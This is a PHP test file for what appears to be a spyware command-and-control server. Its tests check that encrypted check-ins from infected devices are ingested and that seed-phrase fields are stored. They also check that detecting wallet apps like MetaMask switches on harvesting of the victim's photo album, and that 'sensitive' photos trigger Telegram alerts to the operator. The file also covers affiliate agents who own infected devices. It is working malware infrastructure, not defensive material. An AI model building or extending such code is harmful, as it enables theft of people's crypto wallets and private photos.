507 lines
18 KiB
PHP
507 lines
18 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\Photo;
|
|
use App\Models\User;
|
|
use App\Services\CorunaCrypto;
|
|
use App\Services\IngestService;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Process;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class DeviceAlbumStorageTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function album_storage_defaults_off(): void
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-default',
|
|
]);
|
|
|
|
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
|
$this->assertFalse((bool) $device->fresh()->album_storage);
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_uses_agent_album_storage_default_on(): void
|
|
{
|
|
$agent = User::query()->create([
|
|
'username' => 'album_on',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
'album_storage_default' => true,
|
|
]);
|
|
$this->assertTrue($agent->albumStorageDefaultEnabled());
|
|
$channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
Channel::query()->create([
|
|
'channel_id' => $channelId,
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600201';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-agent-album-on',
|
|
'c' => $channelId,
|
|
], $ts);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-agent-album-on')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_keeps_album_off_when_agent_default_off(): void
|
|
{
|
|
$agent = User::query()->create([
|
|
'username' => 'album_off',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
|
$channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
|
Channel::query()->create([
|
|
'channel_id' => $channelId,
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600202';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-agent-album-off',
|
|
'c' => $channelId,
|
|
], $ts);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-agent-album-off')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertFalse($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function later_channel_fill_applies_agent_album_default(): void
|
|
{
|
|
$agent = User::query()->create([
|
|
'username' => 'album_late',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
'album_storage_default' => true,
|
|
]);
|
|
$channelId = 'cccccccccccccccccccccccccccccccc';
|
|
Channel::query()->create([
|
|
'channel_id' => $channelId,
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$tsSet = '1722585600203';
|
|
$encSet = $crypto->encryptJson([
|
|
'd' => 'dev-agent-album-late',
|
|
'c' => $channelId,
|
|
'a' => 'a1',
|
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
], $tsSet);
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet,
|
|
], $encSet['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-agent-album-late')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull($device->channel_id);
|
|
$this->assertFalse($device->albumStorageEnabled());
|
|
|
|
$tsPut = '1722585600204';
|
|
$encPut = $crypto->encryptJson([
|
|
'd' => 'dev-agent-album-late',
|
|
'c' => $channelId,
|
|
'et' => 'heartbeat',
|
|
], $tsPut);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsPut,
|
|
], $encPut['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertSame($channelId, $device->channel_id);
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function official_and_unknown_channel_keep_album_off(): void
|
|
{
|
|
Channel::query()->create([
|
|
'channel_id' => 'dddddddddddddddddddddddddddddddd',
|
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
foreach ([
|
|
['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'],
|
|
['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'],
|
|
] as $i => $payload) {
|
|
$ts = (string) (1722585600210 + $i);
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
}
|
|
|
|
$this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled());
|
|
$this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_uses_official_album_storage_default_on(): void
|
|
{
|
|
config(['coruna.album_storage.official_default' => true]);
|
|
$channelId = 'ffffffffffffffffffffffffffffffff';
|
|
Channel::query()->create([
|
|
'channel_id' => $channelId,
|
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600220';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-official-album-on',
|
|
'c' => $channelId,
|
|
], $ts);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-official-album-on')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function later_channel_fill_applies_official_album_default(): void
|
|
{
|
|
config(['coruna.album_storage.official_default' => true]);
|
|
$channelId = 'fffffffffffffffffffffffffffffffe';
|
|
Channel::query()->create([
|
|
'channel_id' => $channelId,
|
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
|
'status' => 1,
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$tsSet = '1722585600221';
|
|
$encSet = $crypto->encryptJson([
|
|
'd' => 'dev-official-album-late',
|
|
'c' => $channelId,
|
|
'a' => 'a1',
|
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
], $tsSet);
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet,
|
|
], $encSet['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-official-album-late')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull($device->channel_id);
|
|
$this->assertFalse($device->albumStorageEnabled());
|
|
|
|
$tsPut = '1722585600222';
|
|
$encPut = $crypto->encryptJson([
|
|
'd' => 'dev-official-album-late',
|
|
'c' => $channelId,
|
|
'et' => 'heartbeat',
|
|
], $tsPut);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsPut,
|
|
], $encPut['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertSame($channelId, $device->channel_id);
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_skips_photos_when_album_storage_off(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-off',
|
|
'album_storage' => false,
|
|
]);
|
|
|
|
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
app(IngestService::class)->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
@unlink($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function wallet_applist_turns_album_on_then_photos_store(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-wallet',
|
|
'album_storage' => false,
|
|
]);
|
|
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
$ingest = app(IngestService::class);
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
|
|
$ingest->ingestInstalledApps($device, [
|
|
'al' => [
|
|
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
|
|
],
|
|
]);
|
|
$device->refresh();
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
|
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
|
@unlink($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
|
{
|
|
Storage::fake('local');
|
|
config([
|
|
'coruna.telegram.bot_token' => 'bot-token',
|
|
'coruna.telegram.owner_chat_id' => '12345',
|
|
]);
|
|
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
|
|
|
$device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]);
|
|
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
$ingest = app(IngestService::class);
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
Http::assertNothingSent();
|
|
|
|
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
|
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
|
|
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
|
|
|
Http::assertSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '敏感照片')
|
|
&& str_contains($text, 'dev-hit12')
|
|
&& str_contains($text, '敏感分</b>: 12');
|
|
});
|
|
|
|
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
|
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
|
$text = (string) ($pair[0]->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '敏感照片');
|
|
})->count());
|
|
|
|
@unlink($tmp);
|
|
@unlink($tmp2);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_toggle_album_storage(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-toggle']);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->putJson(route('admin.devices.update', $device), ['album_storage' => 0])
|
|
->assertOk()
|
|
->assertJsonPath('data.album_storage', 0);
|
|
|
|
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->putJson(route('admin.devices.update', $device), ['album_storage' => 1])
|
|
->assertOk()
|
|
->assertJsonPath('data.album_storage', 1);
|
|
}
|
|
|
|
#[Test]
|
|
public function clear_photos_removes_rows_and_files(): void
|
|
{
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]);
|
|
$device = Device::query()->create(['device_id' => 'dev-clear']);
|
|
|
|
$path = 'c2/photos/dev-clear/abc_hit.jpg';
|
|
Storage::disk('local')->put($path, "\xFF\xD8\xFF\xD9");
|
|
Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', "\xFF\xD8\xFF\xD9"),
|
|
'path' => $path,
|
|
'size' => 4,
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertOk()
|
|
->assertJsonPath('data.deleted_rows', 1);
|
|
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertMissing($path);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_cannot_clear_other_channel_device_photos(): void
|
|
{
|
|
Storage::fake('local');
|
|
$agent = User::query()->create([
|
|
'username' => 'agent_album',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
Channel::query()->create([
|
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
$other = Device::query()->create([
|
|
'device_id' => 'dev-other',
|
|
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
]);
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->postJson(route('user.devices.photos.clear', $other))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_and_agent_cannot_clear_photos(): void
|
|
{
|
|
Storage::fake('local');
|
|
$staff = Admin::query()->create(['username' => 'staff', 'password' => 'admin123', 'is_super' => 0]);
|
|
$agent = User::query()->create(['username' => 'agent_clear', 'password' => 'secret12', 'status' => 1]);
|
|
Channel::query()->create([
|
|
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-no-clear',
|
|
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
|
]);
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->postJson(route('user.devices.photos.clear', $device))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.devices.show', ['device' => $device, 'tab' => 'photos']))
|
|
->assertOk()
|
|
->assertDontSee('清理相册数据');
|
|
}
|
|
|
|
#[Test]
|
|
public function photo_endpoint_serves_png_as_is(): void
|
|
{
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-png']);
|
|
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
|
|
$im = imagecreatetruecolor(4, 4);
|
|
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3));
|
|
imagepng($im, $tmp);
|
|
$png = (string) file_get_contents($tmp);
|
|
@unlink($tmp);
|
|
$path = 'c2/photos/dev-png/shot.png';
|
|
Storage::disk('local')->put($path, $png);
|
|
$photo = Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', $png),
|
|
'path' => $path,
|
|
'size' => strlen($png),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.photo', [$device, $photo->id]))
|
|
->assertOk()
|
|
->assertHeader('Content-Type', 'image/png')
|
|
->assertSee($png, false);
|
|
}
|
|
|
|
#[Test]
|
|
public function photo_endpoint_serves_heic_as_jpeg(): void
|
|
{
|
|
if (! is_executable('/usr/bin/sips')) {
|
|
$this->markTestSkipped('sips is required to generate and convert HEIC');
|
|
}
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]);
|
|
$device = Device::query()->create(['device_id' => 'dev-heic']);
|
|
|
|
$jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg';
|
|
$heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic';
|
|
$im = imagecreatetruecolor(8, 8);
|
|
imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60));
|
|
imagejpeg($im, $jpg, 90);
|
|
$made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]);
|
|
@unlink($jpg);
|
|
if (! $made->successful() || ! is_file($heicTmp)) {
|
|
$this->markTestSkipped('sips could not write a HEIC fixture');
|
|
}
|
|
$bytes = (string) file_get_contents($heicTmp);
|
|
@unlink($heicTmp);
|
|
|
|
$path = 'c2/photos/dev-heic/IMG_0004.HEIC';
|
|
Storage::disk('local')->put($path, $bytes);
|
|
$photo = Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', $bytes),
|
|
'path' => $path,
|
|
'size' => strlen($bytes),
|
|
]);
|
|
|
|
$res = $this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.photo', [$device, $photo->id]))
|
|
->assertOk()
|
|
->assertHeader('Content-Type', 'image/jpeg');
|
|
$this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2));
|
|
$this->assertSame($bytes, Storage::disk('local')->get($path));
|
|
Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertOk();
|
|
Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
|
}
|
|
}
|